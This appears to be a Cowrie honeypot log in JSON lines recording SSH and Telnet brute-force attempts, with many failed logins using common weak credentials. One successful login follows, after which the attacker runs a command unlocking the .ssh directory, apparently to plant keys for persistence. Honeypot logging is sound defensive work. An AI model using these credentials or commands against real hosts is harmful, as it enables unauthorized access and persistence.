{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":37246,"dst_ip":"159.203.135.109","dst_port":22,"session":"98835838ba58","protocol":"ssh","message":"New connection: 45.156.87.254:37246 (159.203.135.109:22) [session: 98835838ba58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:46.451590Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:46.456404Z","src_ip":"45.156.87.254","session":"98835838ba58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:46.541585Z","src_ip":"45.156.87.254","session":"98835838ba58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc12345","message":"login attempt [root/abc12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:46.789713Z","src_ip":"45.156.87.254","session":"98835838ba58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:47.875164Z","src_ip":"45.156.87.254","session":"98835838ba58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.123.41.163","src_port":50398,"dst_ip":"10.17.0.5","dst_port":23,"session":"35259add5f6b","protocol":"telnet","message":"New connection: 20.123.41.163:50398 (10.17.0.5:23) [session: 35259add5f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:49.039828Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59422,"dst_ip":"159.203.135.109","dst_port":22,"session":"d971e23c5228","protocol":"ssh","message":"New connection: 45.156.87.254:59422 (159.203.135.109:22) [session: d971e23c5228]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:50.929056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:50.933766Z","src_ip":"45.156.87.254","session":"d971e23c5228","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:51.018784Z","src_ip":"45.156.87.254","session":"d971e23c5228","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.116517782211304,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:51.230026Z","src_ip":"104.245.105.2","session":"ce1f28bc7ccc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"123456","message":"login attempt [postgres/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:51.271203Z","src_ip":"45.156.87.254","session":"d971e23c5228","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:52.448283Z","src_ip":"45.156.87.254","session":"d971e23c5228","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.30.115.187","src_port":55656,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bbde2e0c4aa","protocol":"ssh","message":"New connection: 186.30.115.187:55656 (10.17.0.5:22) [session: 6bbde2e0c4aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:52.884761Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:52.888959Z","src_ip":"186.30.115.187","session":"6bbde2e0c4aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:52.986679Z","src_ip":"186.30.115.187","session":"6bbde2e0c4aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qweasdzxc","message":"login attempt [deploy/qweasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:53.409383Z","src_ip":"186.30.115.187","session":"6bbde2e0c4aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.268115520477295,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:54.307822Z","src_ip":"20.123.41.163","session":"35259add5f6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:54.510683Z","src_ip":"186.30.115.187","session":"6bbde2e0c4aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":59450,"dst_ip":"159.203.135.109","dst_port":22,"session":"47319913692a","protocol":"ssh","message":"New connection: 45.156.87.254:59450 (159.203.135.109:22) [session: 47319913692a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:55.620197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:55.626123Z","src_ip":"45.156.87.254","session":"47319913692a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:55.709066Z","src_ip":"45.156.87.254","session":"47319913692a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456","message":"login attempt [deploy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:55.963784Z","src_ip":"45.156.87.254","session":"47319913692a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:57.050662Z","src_ip":"45.156.87.254","session":"47319913692a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.922269105911255,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:44:59.968197Z","src_ip":"104.245.105.2","session":"81a48b632811","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38728,"dst_ip":"159.203.135.109","dst_port":22,"session":"978c68f509fe","protocol":"ssh","message":"New connection: 45.156.87.254:38728 (159.203.135.109:22) [session: 978c68f509fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:00.103119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:00.113968Z","src_ip":"45.156.87.254","session":"978c68f509fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:00.199676Z","src_ip":"45.156.87.254","session":"978c68f509fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456.","message":"login attempt [root/Aa123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:00.460818Z","src_ip":"45.156.87.254","session":"978c68f509fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:01.549632Z","src_ip":"45.156.87.254","session":"978c68f509fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":38742,"dst_ip":"159.203.135.109","dst_port":22,"session":"0747b45b372a","protocol":"ssh","message":"New connection: 45.156.87.254:38742 (159.203.135.109:22) [session: 0747b45b372a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:04.608169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:04.620076Z","src_ip":"45.156.87.254","session":"0747b45b372a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:04.708757Z","src_ip":"45.156.87.254","session":"0747b45b372a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWERTY123","message":"login attempt [root/QWERTY123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:05.103750Z","src_ip":"45.156.87.254","session":"0747b45b372a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:06.193369Z","src_ip":"45.156.87.254","session":"0747b45b372a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.298190116882324,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:07.377940Z","src_ip":"20.123.41.163","session":"4f9c7f6a9b3f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.254","src_port":49560,"dst_ip":"159.203.135.109","dst_port":22,"session":"2465162b26a1","protocol":"ssh","message":"New connection: 45.156.87.254:49560 (159.203.135.109:22) [session: 2465162b26a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:09.230252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:09.238138Z","src_ip":"45.156.87.254","session":"2465162b26a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:09.321183Z","src_ip":"45.156.87.254","session":"2465162b26a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:09.583705Z","src_ip":"45.156.87.254","session":"2465162b26a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:10.672987Z","src_ip":"45.156.87.254","session":"2465162b26a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.195.254.215","src_port":49160,"dst_ip":"10.17.0.5","dst_port":22,"session":"5abc5fba13ed","protocol":"ssh","message":"New connection: 199.195.254.215:49160 (10.17.0.5:22) [session: 5abc5fba13ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:10.875396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:10.880531Z","src_ip":"199.195.254.215","session":"5abc5fba13ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:10.888190Z","src_ip":"199.195.254.215","session":"5abc5fba13ed","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"ZAQ!2wsx","message":"login attempt [oracle/ZAQ!2wsx] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:10.954718Z","src_ip":"199.195.254.215","session":"5abc5fba13ed","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:11.057723Z","src_ip":"199.195.254.215","session":"5abc5fba13ed","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T08:45:11.061345Z","src_ip":"199.195.254.215","session":"5abc5fba13ed","protocol":"ssh"}
